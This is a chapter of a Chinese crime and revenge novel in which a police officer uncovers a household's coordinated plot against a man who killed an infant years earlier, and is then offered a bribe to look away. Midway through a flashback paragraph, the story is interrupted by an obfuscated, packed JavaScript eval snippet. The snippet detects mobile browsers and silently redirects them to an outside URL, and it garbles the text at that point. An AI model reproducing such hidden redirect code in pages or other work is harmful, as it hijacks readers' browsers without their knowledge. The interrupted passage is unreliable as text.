戚迪紧紧盯着徐朝颜脸上的动摇,进一步加码道: “我知道这栋楼里有不寻常的事情正在发生。你收拾行李准备离开,应该也是想要悬崖勒马吧?你完全可以告诉我事情的真相,我们的谈话将会受到完全保密,我保证不会有第三个人知道你说了什么。” 戚迪按上胸口的徽章。 “我以我的身份发誓。” 徐朝颜的脸色更苍白了,她的眼神不断飘向厨房门口的黑色行李箱。那里装的不止有她的行李,还有她提前收到的生日礼物,以及她自己都记不清楚的房租欠条。 她已经走到这里了。 她已经在泥泞里抱着膝盖哭了三年,哪怕要爬着往前走,她也想看看前方不一样的风景。 “我……”她的神情在一瞬间变得坚定,“我是他的妻子,也是这家的儿媳。我们的心连在一起,不需要结婚证来证明。” 戚迪久久地看着她,直到通过眼睛确定了她的决心。 “下一个。”他说。 最后一个是朵朵。她迈着轻快的脚步走了进来,不等戚迪说坐,就已经在他面前坐下。她看了看空荡荡的桌面,主动拉过另一头的茶壶,给他倒了一杯冷茶。 “喝点水吧,警察哥哥。”她笑眯眯地说,丝毫没有其他人身上的压抑气氛。 “身份证,然后填表。” “我才十二岁,还没有身份证呢。”朵朵笑着说。 “那就让你妈妈拿户口本来。” 她不慌不忙地说:“户口本在老家,不在这里。” 戚迪郑重地看着她: “朵朵,你已经十二岁了,应该知道,你的户籍信息不仅户口本上有,你的学校里也有。你现在继续撒谎,不仅不能隐瞒你的身份信息,还会给你带来麻烦。我再问你一次,你的真名叫什么?” 朵朵脸上的笑不见了,她认真地看着她,就像他盯着别人的眼睛窥视真相一样,也盯着他的眼睛不放。在这个十二岁的女孩身上,戚迪第一次感到被审视的压力。 “……苗盼弟。”她终于说。 他开始对她询问之前的“猴手”和“红外探测器”事件,但苗盼弟的回答不是“记不得了”,就是“我不知道”。她越是回避,越让戚迪肯定,她和那群成年人知道得一样多,甚至更多。 “苗盼弟,你知不知道自己现在在做什么?你的所作所为,一个不慎就可能毁掉人生。”戚迪目不转睛地观察着她的神色变化。 苗盼弟,十二岁,自建楼中年纪最小,也是最让戚迪一头雾水的角色。他想不明白,究竟是什么原因,才会让一个十二岁的小孩,搀和到这团错综复杂的事件中来。 她抬起眼眸,漫不经心地看向他:“你怎么知道,我不是在重建呢?” “什么?”戚迪愣住了。 “填表,我填好了。”苗盼弟把笔和表格一起还给他,没有留恋地站了起来,“我的暑假作业还没做完呢,我要回去做作业了。” 所有谈话都结束了。但笼罩在这栋自建楼上的雾气并没有消散,反而更浓了。 戚迪握着所有人的登记表格,坐在巡逻车副驾上,眨也不眨地看着。他确信自己已经找到了理清这团乱麻的正确线头,只要将这些人的身份证号码输入系统,尘封的过去就能向他昭示未来。 梁芸安静地开着车,没有打断他的思路。 自建楼里,戚迪写在空白登记表格上的个人联系号码静静地躺在长餐桌上。六个人神色各异地站在桌前。 “都暴露了。”夏禧抱着手臂看向众人,“现在怎么办?” “戚警官说了,他愿意帮助我们。”何阿公叹了口气,“要不……” 一只白皙的手拿走了桌上的电话号码,走进厨房,毫不犹豫地点燃燃气。蓝火中夹杂着橙色的火焰,转眼之间就吞噬了写有号码的纸张。 “绝不。” 朵朵转过身,坚定地望着众人。 41.第 41 章 8月8日一早,蔡岛嘉就又提着牛奶和水果礼盒上门了。朵朵热情地给他开了门: “小蔡哥哥,快进来!” 他有心问她上次说的“看见他玩游戏”,到底看见了多久,朵朵已经像燕子一般飞进了入户大门。他只好硬着头皮提着礼物走了进去。 电视机开着,但似乎没人在看。所有人的目光都落到蔡岛嘉身上,他悻悻笑了,小心翼翼地说: “何阿婆,阿公,你们昨天考虑得怎么样了?” 朵朵期待地看向二老。 何阿公站了起来:“我们仔细考虑过了,最终还是决定……既然已经退租了,你还是去找别的房子吧。” 朵朵露出错愕的表情,还没来得及说什么,何序已经开口道:“不管你的初衷是什么,为了筹集赎金,我们贱卖了老房子,亏损了二十多万,这笔钱,我们还没想好要怎么处理。更何况,你身为一个成年人,竟然帮助一个十二岁的孩子离家出走,于情于理,我都无法接受你继续在我们家住下去。” “为什么不让小蔡哥哥搬回来?!”朵朵叫道,脸上是被背叛的愤怒,“我们昨天不是已经说好了吗?” “朵朵,回房间去。”何序沉声道。 “我不去!”朵朵怒视着众人。 “听话,何朵朵——”何序冷下脸。 朵朵环视四周,目光从一张张沉默的脸上划过,终于,她跺了跺脚,转身跑了出去。 “何朵朵!”何序站起身追去。 客厅里只剩下蔡岛嘉和何阿婆等人。何阿婆站起身来,不耐烦地说:“就是这样,房子你另外找吧。我们不租给你了。” “何阿婆——你再考虑一下,我可以加钱——何阿婆——” 蔡岛嘉被踉跄着推出入户大门,无论他是赔笑道歉,还是提出租金可以翻倍,何阿婆都无动于衷。铁门一合,他被挤到门外。搬过两次的水果和牛奶礼盒从门缝里抛出来,在地上滚出一串闷响。 路过的行人好奇放慢了脚步,八卦地看着这一幕。 蔡岛嘉的脸颊在发烧,但他硬是忍下了这羞辱,捡起地上的两个礼盒,灰溜溜地逃向不远处的黄色出租车。 开门上车,他把礼盒扔到后排,痛骂了一声:“操!” 现在看来,自建楼是回不去了。他原本计划像控制田永那样,让苗盼弟阴差阳错也染上人血。流浪汉是最好的选择,就算消失了也无人在意,尽管这个时期很难弄到流浪汉,但也不是没有希望。然而,何阿婆拒绝了他的回归,现在别说去哪儿弄一个流浪汉了,就连见到苗盼弟都成了一种奢望。 苗盼弟身后的那群人究竟想做什么?他们也知道了他那天晚上在工地上“玩游戏”吗? 他该如何保证自己的秘密继续沉寂下去? 就在他心乱如麻的时候,车窗被从外敲响了。朵朵的脸孔出现在窗外。他迟疑了一下,然后摇下车窗,下意识地看向附近,寻找何家人的身影。 “小蔡哥哥,他们好坏,不让你回来了。”朵朵委屈地说。 “这也没办法……不过,他们都不想让我搬回来住,你知道这是为什么吗?”蔡岛嘉问。 “小蔡哥哥做了那么多坏事,心里没数吗?”她天真地歪着头。 蔡岛嘉因为她话中的恶意与脸上的天真所形成的冲击而愣住。 他知道她的真实名字是苗盼弟,知道她和其他人一样,一直在把自己骗得团团转。但他没有想过,她会这么突然地戳破那层窗户纸。 苗盼弟接下来的话,更是将他钉在原地。 “他们都有秘密,我也有。但只有我的秘密能够杀死你。” “小蔡哥哥,你知道吗?昨天警察上门,做了流动人口登记。所有人的身份都曝光了。”她盯着他的眼睛,一字一顿道,“我们的时间都不多了。” 那双黝黑的瞳孔里,映着蔡岛嘉的面孔。那一瞬间,他仿佛回到了四年前,当他将榔头砸到流□□的头上时,他也从她的瞳孔里看见了自己的身影。 滚烫的鲜血溅到他的眼睛,他只是眨了一下,下一榔头已经砸了下去。飙升的肾上腺素让他将这一刻永远镌刻在记忆中。他看到流□□的眼睛渐渐失去了光泽,她在人生的最后时光,没有求饶,只是向着虚空,翕动了一下嘴唇。 “多。” 他曾经以为那是一个“多”,或者“躲”。 直到此刻,他终于明白—— 那是一个“朵”。 “只要我告诉警察,妈妈叫田小梅。他们就能根据名字锁定妈妈的身份,进而确定她的失踪。房子里的那群人已经想退缩了,但我不想退。他们不明白我失去了什么,你一定明白吧?小蔡哥哥。” 带着童音的“小蔡哥哥”四个字,沾着浓稠的恶意,他想起了那条在甜筒上盘旋的冰冷的蛇。仅仅只是被她注视着,就让他的后背渗出冷汗。 在这一刻,他终于意识到,只要她还活着,他一辈子都无法摆脱这条蚀骨之蛇。 “你把我的妈妈,到底藏哪儿去了?”她问。 “……还有谁知道她叫田小梅?”他一开口,嗓音干哑发沙,几乎听不出原来的音色。 “现在还只有我。”苗盼弟露出微笑,“小蔡哥哥,今天晚上八点,我在村口那栋烂尾楼等你‘玩游戏’。如果你不来,我就把妈妈的名字告诉那个警察。” 她转身就要离开。 “等一下!”蔡岛嘉叫住她,“我怎么知道你不是在骗我?!万一你带着其他人去呢?” “这是我们两个的‘游戏’,我不会带其他人的。”苗盼弟说,“而且——他们都是胆小鬼。” “你对这个发誓——说你如果说谎,把我们的约定告诉第三个人,田小梅就会下十八层地狱,永世不得超生。” 蔡岛嘉从手套箱里拿出那个灰色毛线老鼠。老鼠咧着嘴,既像在笑,又像在哭。 她的脸色瞬间变得铁青,时间仿佛凝滞下来。苗盼弟憎恨地看着他,慢慢张开嘴,按照他的要求,一字不落地复述了一遍。 “我会亲手为妈妈报仇的。”她转过身,头也不回地离开了。 十一点四十六分,戚迪踩着巡逻车的油门,一路疾驰向八里村三巷6号。蝉声像电钻一样连绵不绝地刺进耳膜,太阳把街面压得发白,风挡后的光像一把锋利的光刃直劈眼睛,他却只觉胸口一片井水般的冷,像湿透的羽绒服从里往外勒紧了呼吸。 他和一辆黄色出租车擦身而过,穿进自建楼前那条狭窄的小路。 他开门下车,冲到门前,用一只脚挡住了即将关闭的铁门。门后的何志国早已预料到他会到来,松开了门闩上的手,平静道:“进来吧。” 戚迪跟着何志国跨过入户门,打量了一圈,只见厨房里何秀英背对着他,腕子一翻一扣,铁铲在锅沿上清脆一响。姜爆鸭的香气压住了屋内所有味道。 “……其他人呢?”戚迪问。 “城北商场的超市今天有庆祝奥运开幕的折扣活动,他们去玩了。”何志国笑道,“夏禧好像是出去工作了。” 一家三口温馨地在超市采购,一个兢兢业业的租户,多么富有生活气的画面——如果他不知道真相的话。 “你应该知道我来的目的吧?”戚迪说,“你还是准备告诉我,‘没什么好说的’吗?” 厨房里锅铲狠狠敲击着锅沿,仿佛架在火上的是戚迪的脑袋。他对那发出警告的声响闻若未闻,定定地看着眼前的何志国。 “我们认识快两年了,是你教会我下象棋。你是体面的退休教师,你的相片至今挂在那所专科学校里。我不想让你坐到审讯室去问这些问题,请你告诉我,过去到底发生了什么。”戚迪说。 “这不关你的事!”厨房里,何秀英终于扔下了她的锅铲,冲出厨房,发出忍无可忍的怒喝。 “我是警察!”戚迪的声音比她更大,他挺起胸膛,怒视着何秀英。 “别朝她叫喊——” 何志国沉下脸,走到何秀英身前,挡住她的身影。 “她什么都不懂。” “我们没有杀人,没有犯法!我们只是凑巧住在一起,谎称是一家人——这犯法吗?犯了哪条法?”何秀英的眉毛和嘴唇都在抖动,她紧攥着那条油污斑驳的灰围裙,却依然克制不住整个手腕的颤抖,“你们警察就这么闲吗?那些真正受到伤害的人需要帮助的时候,你们在哪里?!” “是,你们没有杀人——还没有杀人。你们也就是在承租人的私密空间暗装摄像头,严重侵犯他人隐私,算在民事侵权里。”戚迪平复了下呼吸,沉声道,“你们只是住在一起,谎称是一家人——” “但这真的是‘凑巧’住在一起吗?” 戚迪直视着何秀英充满敌意的眼睛。 “昨天,拿到你们的身份证号后,我立即就回到所里核对了你们的身份信息。你们还算聪明,没有使用假证。” 8月7日的夜像一片薄铁,派出所里除了几个值班人员外,只有他坐在亮着蓝光的电脑屏幕前。身份信息像潮水般涌上屏幕,碎裂的线索此刻被一根冷硬的钢丝穿透,缠合成一张令人窒息的真相之网。 在何志国夫妇的关系人中,有一条属于“何瑶蓓”,关系是“孙女”,括号里显示“户籍已注销(死亡时间 1993 年)”。 在夏禧的履历中,则有数条简要的报警记录。 “2004年6月30日,报警称宠物被投毒,未发现相关证据,未立案。” “2004年7月9日,报警称宠物被投毒,未发现相关证据,未立案。” “2004年7月24日,报警称宠物被投毒,未发现相关证据,未立案。” “2004年8月10日,报警称宠物被投毒,未发现相关证据,未立案。” 最后一条警情处置记录在04年8月21日,之后就再也没有新的记录。 最后是真名为“苗盼弟”的朵朵,在她的履历中,有一条“2003年因流浪状态被带回原籍”的记录。 他在所里枯坐了一夜,等到第二天档案处的人一来上班,他就立即申请调取当年的详细记录。 “真正‘巧合’的,是你们这群‘凑巧’住在一起的一群人,除了徐朝颜和陈序以外,都有一个共同的仇人。”他看着沉默不语的何志国,一字一顿说道,“蔡岛嘉不仅毒死了夏禧的两猫一狗,和苗盼弟有过一年‘母女关系’的流□□田小梅失踪有关,他过去曾用过的名字——姜必成,还杀死了你们唯一的孙女何瑶蓓。” “事到如今,你还想用巧合来逃避责任吗?”戚迪说。 “那又怎么样!”何秀英站了出来,挡在沉默的丈夫身前,像一只护崽的母鸡,“我们没有犯法!你想告诉蔡岛嘉,就去告诉好了!他是自愿住进来的,我们没人强迫他!” “秀英,”何志国从身后握住了她的手,“……已经够了。” “我知道你失去了唯一的孙女,这种失去至亲的痛苦,我一样也经历过!”戚迪怀着痛心,铿锵有力地说道,“我也不想劝你什么放下过去——我知道那都是站着说话不腰疼的屁话!但至少,拜托你用理智来想想这一切的后果,你和被你牵连进来的那些无辜人,能否承担得起——” “……理智?” 何秀英脸上的怒火像是被雨浇散,原本被愤怒绷紧的面皮慢慢松开,只剩一抹带痛的冷笑。 “我的理智……早就在十五年前化为灰烬了。” 1993年7月1日,地笼浮出。 黄黑色的警戒线把那个夏天切成两半:一半是风和蝉,一半是水与肉。人群被赶到稻田边,协警手中的白色大喇叭反复喊着“不要围观”,围观的孩子被大人用力拽着后退,拖鞋在黄褐色的沙地上“啪嗒、啪嗒”。此起彼伏的人声传递着惊惧、恐慌、好事的情绪。 两名协警抓着绷成直线的拖绳,地笼“哗啦”一声被拽上泥岸,锈水夹着水草往外淌。法医抬手示意停住,两名协警把木板架稳,警戒带后的人群被再度要求后退。就是这时,何秀英一家冲破了警戒线,看到了地笼里的那个“东西”。 女婿停下了脚步,何志国的身形猛地一晃,险些跌坐在地,而她的大脑像是被突然灌入一桶水泥,所有思绪都凝固了。 她无法将地笼里那个肿胀变形的身影,与她每天抱在怀中,会哭会笑,身上散发着淡淡奶香的小孙女联系起来。但地笼里包裹着那个“东西”的襁褓,那么熟悉,那么刺眼,是她一针一线,亲手绣出的棉布。 “蓓蓓!”一声惨厉到不似人声的尖叫,从女儿纤瘦的身体里发出,她那唯一的女儿,忘记了自己天生的跛脚,跌跌撞撞地扑向岸边的地笼。两个身穿制服的警察,一左一右将她拦住。 “蓓蓓!我的蓓蓓啊!蓓蓓——” 人群不再嘈杂,就连蝉鸣似乎都被一层看不见的玻璃隔绝在外。母亲绝望的哀嚎响彻在水岸,她用难以想象的力气挣脱身边的协警,扑向地笼,想要解救被困的女儿,女儿的皮肤却如湿纸般在她手中整片滑落,露出下层被泡得松散、惨白的肌肉。 “帮帮我……求你们帮帮我,救救我的女儿——” 她拢起那片皮肤,向周遭的人求助,可他们一动不动,她尝试将它贴回女儿身上,可它只是不断地滑落、滑落—— 人群中,不知哪里传来一个母亲的泣音。然后是第二个,第三个。 哭声像锈迹斑斑的钉子,一颗一颗钉在何秀英的心脏上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791894|189544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 何秀英呆呆地看着崩溃哭泣的女儿,那罐冰凉而黏稠的水泥仍在她的身体里,从头颅一直往下浸灌,侵吞了她的知觉。 法医的怒喝让在场的其他人都回过神来,协警连忙冲上去将女儿拉开。她挣扎着,时而怮哭,时而怒吼,直到两眼一翻,直挺挺地晕厥过去。女婿终于动了起来,他朝女儿走去,但发软的双膝让他下一刻就跪倒在地。他没有再起身,而是伏在地上,像一只落入油锅的虾米,蜷缩起高大的身躯,发出了细小的呜咽。 有一只手落到了何秀英的肩上,她愣愣地抬起头来,看见的是丈夫泪流满面的脸。 他什么都没说,只是用颤抖的手把她揽入怀中,一手用力按住她的后脑,好像这样就能将她从那残酷的画面中剥离出来。丈夫的手唤醒了她的神智,她从怀抱中挣脱,踉跄着跑向倒在地上的女儿,将她用力搂入怀中,眼泪至此才夺眶而出。 她听到如受伤野兽的哀嚎从自己的胸腔里发出,她多希望这是一场幻觉,一个噩梦。梦醒之后,她们一家仍然在餐桌前,笑着为未来努力。 她不明白。究竟是什么样的人,能够对一个出生才四个月的女婴,犯下这样的滔天罪行。 是穷凶极恶的□□吗?还是眼神阴鸷的精神病人? 何秀英怎么也想不到,两天后被捕的嫌疑犯,是一个不满十四岁的少年。 “只因为未满十四,他就不用承担刑事责任,连法庭都不用上,就被送往了少管所。从开始到结束,我们甚至不知道那个杀人犯长什么样——我问他们为什么,为什么杀了人却连面都可以不露——戚警官,你猜是为什么?你一定很清楚答案吧?” 何秀英的控诉字字泣血,浑浊的眼泪从那双耸拉的眼皮下流出,带着十五年仍未愈合的绝望。 戚迪的嘴唇翕动了一下,没有回答。 为了保护未成年人。为了保护他们的过去,还有未来。 只留下杀人犯的受害者,在地狱之中挣扎。后来发生的事,他已经从档案上看到了。姜必成被捕一年,何秀英夫妇的独女何军兰与丈夫离婚,丈夫远走他乡,而她则在半年后,在女儿死去的地方,拥抱了同一片池水。 原本热闹拥挤的何家,最后只剩下何秀英夫妇二人。 而姜必成摇身一变成为蔡岛嘉,带着没有留下任何犯罪记录的洁白档案,重新步入社会。 “直到今天,他都没有认出,我们就是他当年杀害的女婴的家人。”何志国平静地开口,像一潭已经死去的水,“他也不可能认出。因为他连一次都没有想过,要向受害者家属忏悔。” “法律保护了他,这种‘保护’,最终也‘保护’了我们的计划。” 2007年12月5日,在何秀英搬来八里村一年以后,自建楼锈迹斑斑的铁门被敲响。 何秀英像往常一样装作无人在家,视若不见。但门外的人很执着,每当她以为对方忍耐不住离开的时候,就会又一次响起平稳的敲门。 她带着一张生人勿近的脸孔打开了门,门外站着的不是推销牛奶的销售,也不是叫她订报纸的社区人员。门外是一个一身黑的青年,手里牵着一个眼睛圆圆,衣着俭朴的小姑娘。 “你好,我叫陈序,是一名自由程序员,还是专为弱势群体提供法律帮助的个人论坛的运营者。”青年自我介绍道。 “……我没钱捐给你。”何秀英冷着脸说完,拉住铁门就要关上。 陈序用身体卡在两道铁门之间,阻止了她的动作。 “你干什么?我要报警了!” “我不是为钱而来。”他说,“你们的女婿费舟,是论坛的志愿者骨干之一。我知道你们的故事。她叫朵朵,她的妈妈很有可能被一个叫蔡岛嘉的人杀害了。” “关我什么事?人被杀了你应该去找警察。”她冷冷说道。 他接下来的话,让她一瞬间回到了那个被分成两半的夏天。 “蔡岛嘉是他的改名,他最开始的名字,叫姜必成。”陈序说,“如果你还恨他,我希望你们加入我们的计划。” 何秀英看向陈序身边名叫朵朵的小姑娘。她睁着黑白分明的大眼,定定地望着她: “奶奶,求你帮我找到妈妈。” 她握在门闩上的手,就那么落了下去。 自建楼二楼,徐朝颜听到了院子里的说话声音,推开窗户,好奇地撑在窗台上观看。 这就是这个疯狂计划的开端。 他们在无数次会议之后,制定了最终的计划,用莫须有的赃款诱惑蔡岛嘉入局,再通过从里到外的精神施压,让他在恐惧的驱使下,犯下足以死刑的罪行。 何秀英学习如何做个不可理喻的老太婆,变着法子在细节上折磨这个让她家破人亡的凶手——馊饭、锅巴、米虫,无休止的挑剔和怒喝。每到被噩梦惊醒的夜晚,她就像幽灵似地在天台走来走去,故意发出声响,恐吓楼下的蔡岛嘉,又在清晨天刚亮的时候,放上震耳欲聋的歌曲,叫来大嗓门的邻居一起跳操。 她要让他吃不好,睡不好,紧绷的神经不断拉扯直至断裂。 何志国则以做药为由,通过药材商人购入一只猴手,在隔日将猴手强行塞入三楼厕所管道导致堵塞,营造出楼内潜伏着杀人魔的假象。并在目睹蔡岛嘉恐慌之下将猴手埋进花盆后,故意摔碎花盆,电话报警。 这一切都是为了让蔡岛嘉更加恐慌,用层层加码的压力来影响他的判断。 随着何志国话音落下,笼罩在这栋自建楼上的迷雾终于散去了,藏在缝隙里的过去终于在戚迪眼前露出了完整的轮廓。 一栋悲伤而绝望的楼,吞噬着还未终结的罪恶,同时也滋生着新的罪恶。 “戚警官。我知道你这么努力,是因为你在医院的母亲。”何志国从主卧里拿出一个长长的旅行袋放到地上,“你也有亲人,应该明白我们的心情。只要过了今晚,一切就会结束。我知道你母亲生病缺钱,只要你睁一只眼闭一只眼,今晚过后,我们自己走去派出所,不用你上门来请,我们还有一百六十万的现金,也都给你。” 何志国俯身拉开拉链,成沓的红钞齐刷刷露面。那抹突兀的红像钝器,结结实实顶在戚迪胸口。 他还没回过神来,何志国的双膝已经朝着他弯了下去。戚迪本能地一个箭步冲了上去,拉住这个要向他下跪的老人。 哐当一声,膝盖砸到地上的声音还是响起了。 他拉住了何志国,却没有拉住何秀英。她对他埋下了倔强的头颅,他看到那被时光洗刷过的稀疏卷发间,几片白白的头皮,像她的人一样,皱着,蜷缩着。 “求你了,戚警官。”何秀英的声音像被捏裂的蜻蜓翅,细碎、发涩,一碰就碎,“……帮我们一次。”